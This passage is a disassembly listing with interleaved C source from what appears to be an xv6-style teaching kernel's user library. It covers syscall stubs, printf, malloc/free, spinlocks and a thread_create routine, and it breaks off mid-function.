161c: b8 14 00 00 00 mov $0x14,%eax
1621: cd 40 int $0x40
1623: c3 ret
00001624 <chdir>:
SYSCALL(chdir)
1624: b8 09 00 00 00 mov $0x9,%eax
1629: cd 40 int $0x40
162b: c3 ret
0000162c <dup>:
SYSCALL(dup)
162c: b8 0a 00 00 00 mov $0xa,%eax
1631: cd 40 int $0x40
1633: c3 ret
00001634 <getpid>:
SYSCALL(getpid)
1634: b8 0b 00 00 00 mov $0xb,%eax
1639: cd 40 int $0x40
163b: c3 ret
0000163c <sbrk>:
SYSCALL(sbrk)
163c: b8 0c 00 00 00 mov $0xc,%eax
1641: cd 40 int $0x40
1643: c3 ret
00001644 <sleep>:
SYSCALL(sleep)
1644: b8 0d 00 00 00 mov $0xd,%eax
1649: cd 40 int $0x40
164b: c3 ret
0000164c <uptime>:
SYSCALL(uptime)
164c: b8 0e 00 00 00 mov $0xe,%eax
1651: cd 40 int $0x40
1653: c3 ret
00001654 <clone>:
SYSCALL(clone)
1654: b8 16 00 00 00 mov $0x16,%eax
1659: cd 40 int $0x40
165b: c3 ret
0000165c <texit>:
SYSCALL(texit)
165c: b8 17 00 00 00 mov $0x17,%eax
1661: cd 40 int $0x40
1663: c3 ret
00001664 <tsleep>:
SYSCALL(tsleep)
1664: b8 18 00 00 00 mov $0x18,%eax
1669: cd 40 int $0x40
166b: c3 ret
0000166c <twakeup>:
SYSCALL(twakeup)
166c: b8 19 00 00 00 mov $0x19,%eax
1671: cd 40 int $0x40
1673: c3 ret
00001674 <thread_yield>:
SYSCALL(thread_yield)
1674: b8 1a 00 00 00 mov $0x1a,%eax
1679: cd 40 int $0x40
167b: c3 ret
0000167c <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
167c: 55 push %ebp
167d: 89 e5 mov %esp,%ebp
167f: 83 ec 28 sub $0x28,%esp
1682: 8b 45 0c mov 0xc(%ebp),%eax
1685: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
1688: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
168f: 00
1690: 8d 45 f4 lea -0xc(%ebp),%eax
1693: 89 44 24 04 mov %eax,0x4(%esp)
1697: 8b 45 08 mov 0x8(%ebp),%eax
169a: 89 04 24 mov %eax,(%esp)
169d: e8 32 ff ff ff call 15d4 <write>
}
16a2: c9 leave
16a3: c3 ret
000016a4 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
16a4: 55 push %ebp
16a5: 89 e5 mov %esp,%ebp
16a7: 53 push %ebx
16a8: 83 ec 44 sub $0x44,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
16ab: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
16b2: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
16b6: 74 17 je 16cf <printint+0x2b>
16b8: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
16bc: 79 11 jns 16cf <printint+0x2b>
neg = 1;
16be: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
16c5: 8b 45 0c mov 0xc(%ebp),%eax
16c8: f7 d8 neg %eax
16ca: 89 45 f4 mov %eax,-0xc(%ebp)
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
16cd: eb 06 jmp 16d5 <printint+0x31>
neg = 1;
x = -xx;
} else {
x = xx;
16cf: 8b 45 0c mov 0xc(%ebp),%eax
16d2: 89 45 f4 mov %eax,-0xc(%ebp)
}
i = 0;
16d5: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
do{
buf[i++] = digits[x % base];
16dc: 8b 4d ec mov -0x14(%ebp),%ecx
16df: 8b 5d 10 mov 0x10(%ebp),%ebx
16e2: 8b 45 f4 mov -0xc(%ebp),%eax
16e5: ba 00 00 00 00 mov $0x0,%edx
16ea: f7 f3 div %ebx
16ec: 89 d0 mov %edx,%eax
16ee: 0f b6 80 d8 1e 00 00 movzbl 0x1ed8(%eax),%eax
16f5: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
16f9: 83 45 ec 01 addl $0x1,-0x14(%ebp)
}while((x /= base) != 0);
16fd: 8b 45 10 mov 0x10(%ebp),%eax
1700: 89 45 d4 mov %eax,-0x2c(%ebp)
1703: 8b 45 f4 mov -0xc(%ebp),%eax
1706: ba 00 00 00 00 mov $0x0,%edx
170b: f7 75 d4 divl -0x2c(%ebp)
170e: 89 45 f4 mov %eax,-0xc(%ebp)
1711: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1715: 75 c5 jne 16dc <printint+0x38>
if(neg)
1717: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
171b: 74 28 je 1745 <printint+0xa1>
buf[i++] = '-';
171d: 8b 45 ec mov -0x14(%ebp),%eax
1720: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
1725: 83 45 ec 01 addl $0x1,-0x14(%ebp)
while(--i >= 0)
1729: eb 1a jmp 1745 <printint+0xa1>
putc(fd, buf[i]);
172b: 8b 45 ec mov -0x14(%ebp),%eax
172e: 0f b6 44 05 dc movzbl -0x24(%ebp,%eax,1),%eax
1733: 0f be c0 movsbl %al,%eax
1736: 89 44 24 04 mov %eax,0x4(%esp)
173a: 8b 45 08 mov 0x8(%ebp),%eax
173d: 89 04 24 mov %eax,(%esp)
1740: e8 37 ff ff ff call 167c <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
1745: 83 6d ec 01 subl $0x1,-0x14(%ebp)
1749: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
174d: 79 dc jns 172b <printint+0x87>
putc(fd, buf[i]);
}
174f: 83 c4 44 add $0x44,%esp
1752: 5b pop %ebx
1753: 5d pop %ebp
1754: c3 ret
00001755 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
1755: 55 push %ebp
1756: 89 e5 mov %esp,%ebp
1758: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
175b: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
ap = (uint*)(void*)&fmt + 1;
1762: 8d 45 0c lea 0xc(%ebp),%eax
1765: 83 c0 04 add $0x4,%eax
1768: 89 45 f4 mov %eax,-0xc(%ebp)
for(i = 0; fmt[i]; i++){
176b: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
1772: e9 7e 01 00 00 jmp 18f5 <printf+0x1a0>
c = fmt[i] & 0xff;
1777: 8b 55 0c mov 0xc(%ebp),%edx
177a: 8b 45 ec mov -0x14(%ebp),%eax
177d: 8d 04 02 lea (%edx,%eax,1),%eax
1780: 0f b6 00 movzbl (%eax),%eax
1783: 0f be c0 movsbl %al,%eax
1786: 25 ff 00 00 00 and $0xff,%eax
178b: 89 45 e8 mov %eax,-0x18(%ebp)
if(state == 0){
178e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1792: 75 2c jne 17c0 <printf+0x6b>
if(c == '%'){
1794: 83 7d e8 25 cmpl $0x25,-0x18(%ebp)
1798: 75 0c jne 17a6 <printf+0x51>
state = '%';
179a: c7 45 f0 25 00 00 00 movl $0x25,-0x10(%ebp)
17a1: e9 4b 01 00 00 jmp 18f1 <printf+0x19c>
} else {
putc(fd, c);
17a6: 8b 45 e8 mov -0x18(%ebp),%eax
17a9: 0f be c0 movsbl %al,%eax
17ac: 89 44 24 04 mov %eax,0x4(%esp)
17b0: 8b 45 08 mov 0x8(%ebp),%eax
17b3: 89 04 24 mov %eax,(%esp)
17b6: e8 c1 fe ff ff call 167c <putc>
17bb: e9 31 01 00 00 jmp 18f1 <printf+0x19c>
}
} else if(state == '%'){
17c0: 83 7d f0 25 cmpl $0x25,-0x10(%ebp)
17c4: 0f 85 27 01 00 00 jne 18f1 <printf+0x19c>
if(c == 'd'){
17ca: 83 7d e8 64 cmpl $0x64,-0x18(%ebp)
17ce: 75 2d jne 17fd <printf+0xa8>
printint(fd, *ap, 10, 1);
17d0: 8b 45 f4 mov -0xc(%ebp),%eax
17d3: 8b 00 mov (%eax),%eax
17d5: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
17dc: 00
17dd: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
17e4: 00
17e5: 89 44 24 04 mov %eax,0x4(%esp)
17e9: 8b 45 08 mov 0x8(%ebp),%eax
17ec: 89 04 24 mov %eax,(%esp)
17ef: e8 b0 fe ff ff call 16a4 <printint>
ap++;
17f4: 83 45 f4 04 addl $0x4,-0xc(%ebp)
17f8: e9 ed 00 00 00 jmp 18ea <printf+0x195>
} else if(c == 'x' || c == 'p'){
17fd: 83 7d e8 78 cmpl $0x78,-0x18(%ebp)
1801: 74 06 je 1809 <printf+0xb4>
1803: 83 7d e8 70 cmpl $0x70,-0x18(%ebp)
1807: 75 2d jne 1836 <printf+0xe1>
printint(fd, *ap, 16, 0);
1809: 8b 45 f4 mov -0xc(%ebp),%eax
180c: 8b 00 mov (%eax),%eax
180e: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
1815: 00
1816: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
181d: 00
181e: 89 44 24 04 mov %eax,0x4(%esp)
1822: 8b 45 08 mov 0x8(%ebp),%eax
1825: 89 04 24 mov %eax,(%esp)
1828: e8 77 fe ff ff call 16a4 <printint>
ap++;
182d: 83 45 f4 04 addl $0x4,-0xc(%ebp)
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
1831: e9 b4 00 00 00 jmp 18ea <printf+0x195>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
1836: 83 7d e8 73 cmpl $0x73,-0x18(%ebp)
183a: 75 46 jne 1882 <printf+0x12d>
s = (char*)*ap;
183c: 8b 45 f4 mov -0xc(%ebp),%eax
183f: 8b 00 mov (%eax),%eax
1841: 89 45 e4 mov %eax,-0x1c(%ebp)
ap++;
1844: 83 45 f4 04 addl $0x4,-0xc(%ebp)
if(s == 0)
1848: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
184c: 75 27 jne 1875 <printf+0x120>
s = "(null)";
184e: c7 45 e4 a2 1e 00 00 movl $0x1ea2,-0x1c(%ebp)
while(*s != 0){
1855: eb 1f jmp 1876 <printf+0x121>
putc(fd, *s);
1857: 8b 45 e4 mov -0x1c(%ebp),%eax
185a: 0f b6 00 movzbl (%eax),%eax
185d: 0f be c0 movsbl %al,%eax
1860: 89 44 24 04 mov %eax,0x4(%esp)
1864: 8b 45 08 mov 0x8(%ebp),%eax
1867: 89 04 24 mov %eax,(%esp)
186a: e8 0d fe ff ff call 167c <putc>
s++;
186f: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
1873: eb 01 jmp 1876 <printf+0x121>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
1875: 90 nop
1876: 8b 45 e4 mov -0x1c(%ebp),%eax
1879: 0f b6 00 movzbl (%eax),%eax
187c: 84 c0 test %al,%al
187e: 75 d7 jne 1857 <printf+0x102>
1880: eb 68 jmp 18ea <printf+0x195>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
1882: 83 7d e8 63 cmpl $0x63,-0x18(%ebp)
1886: 75 1d jne 18a5 <printf+0x150>
putc(fd, *ap);
1888: 8b 45 f4 mov -0xc(%ebp),%eax
188b: 8b 00 mov (%eax),%eax
188d: 0f be c0 movsbl %al,%eax
1890: 89 44 24 04 mov %eax,0x4(%esp)
1894: 8b 45 08 mov 0x8(%ebp),%eax
1897: 89 04 24 mov %eax,(%esp)
189a: e8 dd fd ff ff call 167c <putc>
ap++;
189f: 83 45 f4 04 addl $0x4,-0xc(%ebp)
18a3: eb 45 jmp 18ea <printf+0x195>
} else if(c == '%'){
18a5: 83 7d e8 25 cmpl $0x25,-0x18(%ebp)
18a9: 75 17 jne 18c2 <printf+0x16d>
putc(fd, c);
18ab: 8b 45 e8 mov -0x18(%ebp),%eax
18ae: 0f be c0 movsbl %al,%eax
18b1: 89 44 24 04 mov %eax,0x4(%esp)
18b5: 8b 45 08 mov 0x8(%ebp),%eax
18b8: 89 04 24 mov %eax,(%esp)
18bb: e8 bc fd ff ff call 167c <putc>
18c0: eb 28 jmp 18ea <printf+0x195>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
18c2: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
18c9: 00
18ca: 8b 45 08 mov 0x8(%ebp),%eax
18cd: 89 04 24 mov %eax,(%esp)
18d0: e8 a7 fd ff ff call 167c <putc>
putc(fd, c);
18d5: 8b 45 e8 mov -0x18(%ebp),%eax
18d8: 0f be c0 movsbl %al,%eax
18db: 89 44 24 04 mov %eax,0x4(%esp)
18df: 8b 45 08 mov 0x8(%ebp),%eax
18e2: 89 04 24 mov %eax,(%esp)
18e5: e8 92 fd ff ff call 167c <putc>
}
state = 0;
18ea: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
18f1: 83 45 ec 01 addl $0x1,-0x14(%ebp)
18f5: 8b 55 0c mov 0xc(%ebp),%edx
18f8: 8b 45 ec mov -0x14(%ebp),%eax
18fb: 8d 04 02 lea (%edx,%eax,1),%eax
18fe: 0f b6 00 movzbl (%eax),%eax
1901: 84 c0 test %al,%al
1903: 0f 85 6e fe ff ff jne 1777 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
1909: c9 leave
190a: c3 ret
190b: 90 nop
0000190c <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
190c: 55 push %ebp
190d: 89 e5 mov %esp,%ebp
190f: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
1912: 8b 45 08 mov 0x8(%ebp),%eax
1915: 83 e8 08 sub $0x8,%eax
1918: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
191b: a1 08 1f 00 00 mov 0x1f08,%eax
1920: 89 45 fc mov %eax,-0x4(%ebp)
1923: eb 24 jmp 1949 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
1925: 8b 45 fc mov -0x4(%ebp),%eax
1928: 8b 00 mov (%eax),%eax
192a: 3b 45 fc cmp -0x4(%ebp),%eax
192d: 77 12 ja 1941 <free+0x35>
192f: 8b 45 f8 mov -0x8(%ebp),%eax
1932: 3b 45 fc cmp -0x4(%ebp),%eax
1935: 77 24 ja 195b <free+0x4f>
1937: 8b 45 fc mov -0x4(%ebp),%eax
193a: 8b 00 mov (%eax),%eax
193c: 3b 45 f8 cmp -0x8(%ebp),%eax
193f: 77 1a ja 195b <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
1941: 8b 45 fc mov -0x4(%ebp),%eax
1944: 8b 00 mov (%eax),%eax
1946: 89 45 fc mov %eax,-0x4(%ebp)
1949: 8b 45 f8 mov -0x8(%ebp),%eax
194c: 3b 45 fc cmp -0x4(%ebp),%eax
194f: 76 d4 jbe 1925 <free+0x19>
1951: 8b 45 fc mov -0x4(%ebp),%eax
1954: 8b 00 mov (%eax),%eax
1956: 3b 45 f8 cmp -0x8(%ebp),%eax
1959: 76 ca jbe 1925 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
195b: 8b 45 f8 mov -0x8(%ebp),%eax
195e: 8b 40 04 mov 0x4(%eax),%eax
1961: c1 e0 03 shl $0x3,%eax
1964: 89 c2 mov %eax,%edx
1966: 03 55 f8 add -0x8(%ebp),%edx
1969: 8b 45 fc mov -0x4(%ebp),%eax
196c: 8b 00 mov (%eax),%eax
196e: 39 c2 cmp %eax,%edx
1970: 75 24 jne 1996 <free+0x8a>
bp->s.size += p->s.ptr->s.size;
1972: 8b 45 f8 mov -0x8(%ebp),%eax
1975: 8b 50 04 mov 0x4(%eax),%edx
1978: 8b 45 fc mov -0x4(%ebp),%eax
197b: 8b 00 mov (%eax),%eax
197d: 8b 40 04 mov 0x4(%eax),%eax
1980: 01 c2 add %eax,%edx
1982: 8b 45 f8 mov -0x8(%ebp),%eax
1985: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
1988: 8b 45 fc mov -0x4(%ebp),%eax
198b: 8b 00 mov (%eax),%eax
198d: 8b 10 mov (%eax),%edx
198f: 8b 45 f8 mov -0x8(%ebp),%eax
1992: 89 10 mov %edx,(%eax)
1994: eb 0a jmp 19a0 <free+0x94>
} else
bp->s.ptr = p->s.ptr;
1996: 8b 45 fc mov -0x4(%ebp),%eax
1999: 8b 10 mov (%eax),%edx
199b: 8b 45 f8 mov -0x8(%ebp),%eax
199e: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
19a0: 8b 45 fc mov -0x4(%ebp),%eax
19a3: 8b 40 04 mov 0x4(%eax),%eax
19a6: c1 e0 03 shl $0x3,%eax
19a9: 03 45 fc add -0x4(%ebp),%eax
19ac: 3b 45 f8 cmp -0x8(%ebp),%eax
19af: 75 20 jne 19d1 <free+0xc5>
p->s.size += bp->s.size;
19b1: 8b 45 fc mov -0x4(%ebp),%eax
19b4: 8b 50 04 mov 0x4(%eax),%edx
19b7: 8b 45 f8 mov -0x8(%ebp),%eax
19ba: 8b 40 04 mov 0x4(%eax),%eax
19bd: 01 c2 add %eax,%edx
19bf: 8b 45 fc mov -0x4(%ebp),%eax
19c2: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
19c5: 8b 45 f8 mov -0x8(%ebp),%eax
19c8: 8b 10 mov (%eax),%edx
19ca: 8b 45 fc mov -0x4(%ebp),%eax
19cd: 89 10 mov %edx,(%eax)
19cf: eb 08 jmp 19d9 <free+0xcd>
} else
p->s.ptr = bp;
19d1: 8b 45 fc mov -0x4(%ebp),%eax
19d4: 8b 55 f8 mov -0x8(%ebp),%edx
19d7: 89 10 mov %edx,(%eax)
freep = p;
19d9: 8b 45 fc mov -0x4(%ebp),%eax
19dc: a3 08 1f 00 00 mov %eax,0x1f08
}
19e1: c9 leave
19e2: c3 ret
000019e3 <morecore>:
static Header*
morecore(uint nu)
{
19e3: 55 push %ebp
19e4: 89 e5 mov %esp,%ebp
19e6: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
19e9: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
19f0: 77 07 ja 19f9 <morecore+0x16>
nu = 4096;
19f2: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
19f9: 8b 45 08 mov 0x8(%ebp),%eax
19fc: c1 e0 03 shl $0x3,%eax
19ff: 89 04 24 mov %eax,(%esp)
1a02: e8 35 fc ff ff call 163c <sbrk>
1a07: 89 45 f0 mov %eax,-0x10(%ebp)
if(p == (char*)-1)
1a0a: 83 7d f0 ff cmpl $0xffffffff,-0x10(%ebp)
1a0e: 75 07 jne 1a17 <morecore+0x34>
return 0;
1a10: b8 00 00 00 00 mov $0x0,%eax
1a15: eb 22 jmp 1a39 <morecore+0x56>
hp = (Header*)p;
1a17: 8b 45 f0 mov -0x10(%ebp),%eax
1a1a: 89 45 f4 mov %eax,-0xc(%ebp)
hp->s.size = nu;
1a1d: 8b 45 f4 mov -0xc(%ebp),%eax
1a20: 8b 55 08 mov 0x8(%ebp),%edx
1a23: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
1a26: 8b 45 f4 mov -0xc(%ebp),%eax
1a29: 83 c0 08 add $0x8,%eax
1a2c: 89 04 24 mov %eax,(%esp)
1a2f: e8 d8 fe ff ff call 190c <free>
return freep;
1a34: a1 08 1f 00 00 mov 0x1f08,%eax
}
1a39: c9 leave
1a3a: c3 ret
00001a3b <malloc>:
void*
malloc(uint nbytes)
{
1a3b: 55 push %ebp
1a3c: 89 e5 mov %esp,%ebp
1a3e: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
1a41: 8b 45 08 mov 0x8(%ebp),%eax
1a44: 83 c0 07 add $0x7,%eax
1a47: c1 e8 03 shr $0x3,%eax
1a4a: 83 c0 01 add $0x1,%eax
1a4d: 89 45 f4 mov %eax,-0xc(%ebp)
if((prevp = freep) == 0){
1a50: a1 08 1f 00 00 mov 0x1f08,%eax
1a55: 89 45 f0 mov %eax,-0x10(%ebp)
1a58: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1a5c: 75 23 jne 1a81 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
1a5e: c7 45 f0 00 1f 00 00 movl $0x1f00,-0x10(%ebp)
1a65: 8b 45 f0 mov -0x10(%ebp),%eax
1a68: a3 08 1f 00 00 mov %eax,0x1f08
1a6d: a1 08 1f 00 00 mov 0x1f08,%eax
1a72: a3 00 1f 00 00 mov %eax,0x1f00
base.s.size = 0;
1a77: c7 05 04 1f 00 00 00 movl $0x0,0x1f04
1a7e: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1a81: 8b 45 f0 mov -0x10(%ebp),%eax
1a84: 8b 00 mov (%eax),%eax
1a86: 89 45 ec mov %eax,-0x14(%ebp)
if(p->s.size >= nunits){
1a89: 8b 45 ec mov -0x14(%ebp),%eax
1a8c: 8b 40 04 mov 0x4(%eax),%eax
1a8f: 3b 45 f4 cmp -0xc(%ebp),%eax
1a92: 72 4d jb 1ae1 <malloc+0xa6>
if(p->s.size == nunits)
1a94: 8b 45 ec mov -0x14(%ebp),%eax
1a97: 8b 40 04 mov 0x4(%eax),%eax
1a9a: 3b 45 f4 cmp -0xc(%ebp),%eax
1a9d: 75 0c jne 1aab <malloc+0x70>
prevp->s.ptr = p->s.ptr;
1a9f: 8b 45 ec mov -0x14(%ebp),%eax
1aa2: 8b 10 mov (%eax),%edx
1aa4: 8b 45 f0 mov -0x10(%ebp),%eax
1aa7: 89 10 mov %edx,(%eax)
1aa9: eb 26 jmp 1ad1 <malloc+0x96>
else {
p->s.size -= nunits;
1aab: 8b 45 ec mov -0x14(%ebp),%eax
1aae: 8b 40 04 mov 0x4(%eax),%eax
1ab1: 89 c2 mov %eax,%edx
1ab3: 2b 55 f4 sub -0xc(%ebp),%edx
1ab6: 8b 45 ec mov -0x14(%ebp),%eax
1ab9: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
1abc: 8b 45 ec mov -0x14(%ebp),%eax
1abf: 8b 40 04 mov 0x4(%eax),%eax
1ac2: c1 e0 03 shl $0x3,%eax
1ac5: 01 45 ec add %eax,-0x14(%ebp)
p->s.size = nunits;
1ac8: 8b 45 ec mov -0x14(%ebp),%eax
1acb: 8b 55 f4 mov -0xc(%ebp),%edx
1ace: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
1ad1: 8b 45 f0 mov -0x10(%ebp),%eax
1ad4: a3 08 1f 00 00 mov %eax,0x1f08
return (void*)(p + 1);
1ad9: 8b 45 ec mov -0x14(%ebp),%eax
1adc: 83 c0 08 add $0x8,%eax
1adf: eb 38 jmp 1b19 <malloc+0xde>
}
if(p == freep)
1ae1: a1 08 1f 00 00 mov 0x1f08,%eax
1ae6: 39 45 ec cmp %eax,-0x14(%ebp)
1ae9: 75 1b jne 1b06 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
1aeb: 8b 45 f4 mov -0xc(%ebp),%eax
1aee: 89 04 24 mov %eax,(%esp)
1af1: e8 ed fe ff ff call 19e3 <morecore>
1af6: 89 45 ec mov %eax,-0x14(%ebp)
1af9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1afd: 75 07 jne 1b06 <malloc+0xcb>
return 0;
1aff: b8 00 00 00 00 mov $0x0,%eax
1b04: eb 13 jmp 1b19 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
1b06: 8b 45 ec mov -0x14(%ebp),%eax
1b09: 89 45 f0 mov %eax,-0x10(%ebp)
1b0c: 8b 45 ec mov -0x14(%ebp),%eax
1b0f: 8b 00 mov (%eax),%eax
1b11: 89 45 ec mov %eax,-0x14(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
1b14: e9 70 ff ff ff jmp 1a89 <malloc+0x4e>
}
1b19: c9 leave
1b1a: c3 ret
1b1b: 90 nop
00001b1c <xchg>:
asm volatile("sti");
}
static inline uint
xchg(volatile uint *addr, uint newval)
{
1b1c: 55 push %ebp
1b1d: 89 e5 mov %esp,%ebp
1b1f: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
1b22: 8b 55 08 mov 0x8(%ebp),%edx
1b25: 8b 45 0c mov 0xc(%ebp),%eax
1b28: 8b 4d 08 mov 0x8(%ebp),%ecx
1b2b: f0 87 02 lock xchg %eax,(%edx)
1b2e: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
1b31: 8b 45 fc mov -0x4(%ebp),%eax
}
1b34: c9 leave
1b35: c3 ret
00001b36 <lock_init>:
#include "x86.h"
#include "proc.h"
unsigned long rands = 1;
void lock_init(lock_t *lock){
1b36: 55 push %ebp
1b37: 89 e5 mov %esp,%ebp
lock->locked = 0;
1b39: 8b 45 08 mov 0x8(%ebp),%eax
1b3c: c7 00 00 00 00 00 movl $0x0,(%eax)
}
1b42: 5d pop %ebp
1b43: c3 ret
00001b44 <lock_acquire>:
void lock_acquire(lock_t *lock){
1b44: 55 push %ebp
1b45: 89 e5 mov %esp,%ebp
1b47: 83 ec 08 sub $0x8,%esp
while(xchg(&lock->locked,1) != 0);
1b4a: 8b 45 08 mov 0x8(%ebp),%eax
1b4d: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
1b54: 00
1b55: 89 04 24 mov %eax,(%esp)
1b58: e8 bf ff ff ff call 1b1c <xchg>
1b5d: 85 c0 test %eax,%eax
1b5f: 75 e9 jne 1b4a <lock_acquire+0x6>
}
1b61: c9 leave
1b62: c3 ret
00001b63 <lock_release>:
void lock_release(lock_t *lock){
1b63: 55 push %ebp
1b64: 89 e5 mov %esp,%ebp
1b66: 83 ec 08 sub $0x8,%esp
xchg(&lock->locked,0);
1b69: 8b 45 08 mov 0x8(%ebp),%eax
1b6c: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1b73: 00
1b74: 89 04 24 mov %eax,(%esp)
1b77: e8 a0 ff ff ff call 1b1c <xchg>
}
1b7c: c9 leave
1b7d: c3 ret
00001b7e <thread_create>:
void *thread_create(void(*start_routine)(void*), void *arg){
1b7e: 55 push %ebp
1b7f: 89 e5 mov %esp,%ebp
1b81: 83 ec 28 sub $0x28,%esp
int tid;
void * stack = malloc(2 * 4096);
1b84: c7 04 24 00 20 00 00 movl $0x2000,(%esp)
1b8b: e8 ab fe ff ff call 1a3b <malloc>
1b90: 89 45 f0 mov %eax,-0x10(%ebp)
void *garbage_stack = stack;
1b93: 8b 45 f0 mov -0x10(%ebp),%eax
1b96: 89 45 f4 mov %eax,-0xc(%ebp)
// printf(1,"start routine addr : %d\n",(uint)start_routine);
if((uint)stack % 4096){
1b99: 8b 45 f0 mov -0x10(%ebp),%eax
1b9c: 25 ff 0f 00 00 and $0xfff,%eax
1ba1: 85 c0 test %eax,%eax
1ba3: 74 15 je 1bba <thread_create+0x3c>
stack = stack + (4096 - (uint)stack % 4096);
1ba5: 8b 45 f0 mov -0x10(%ebp),%eax
1ba8: 89 c2 mov %eax,%edx
1baa: 81 e2 ff 0f 00 00 and $0xfff,%edx
1bb0: b8 00 10 00 00 mov $0x1000,%eax
1bb5: 29 d0 sub %edx,%eax
1bb7: 01 45 f0 add %eax,-0x10(%ebp)
}
if (stack == 0){
1bba: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1bbe: 75 1b jne 1bdb <thread_create+0x5d>
printf(1,"malloc fail \n");
1bc0: c7 44 24 04 a9 1e 00 movl $0x1ea9,0x4(%esp)
1bc7: 00
1bc8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1bcf: e8 81 fb ff ff call 1755 <printf>
return 0;
1bd4: b8 00 00 00 00 mov $0x0,%eax
1bd9: eb 6f jmp 1c4a <thread_create+0xcc>
}
tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg);
1bdb: 8b 4d 0c mov 0xc(%ebp),%ecx
1bde: 8b 55 08 mov 0x8(%ebp),%edx
1be1: 8b 45 f0 mov -0x10(%ebp),%eax
1be4: 89 4c 24 0c mov %ecx,0xc(%esp)
1be8: 89 54 24 08 mov %edx,0x8(%esp)
1bec: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp)
1bf3: 00
1bf4: 89 04 24 mov %eax,(%esp)
1bf7: e8 58 fa ff ff call 1654 <clone>
1bfc: 89 45 ec mov %eax,-0x14(%ebp)
if(tid < 0){
1bff: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1c03: 79 1b jns 1c20 <thread_create+0xa2>
printf(1,"clone fails\n");
1c05: c7 44 24 04 b7 1e 00 movl $0x1eb7,0x4(%esp)
1c0c: 00
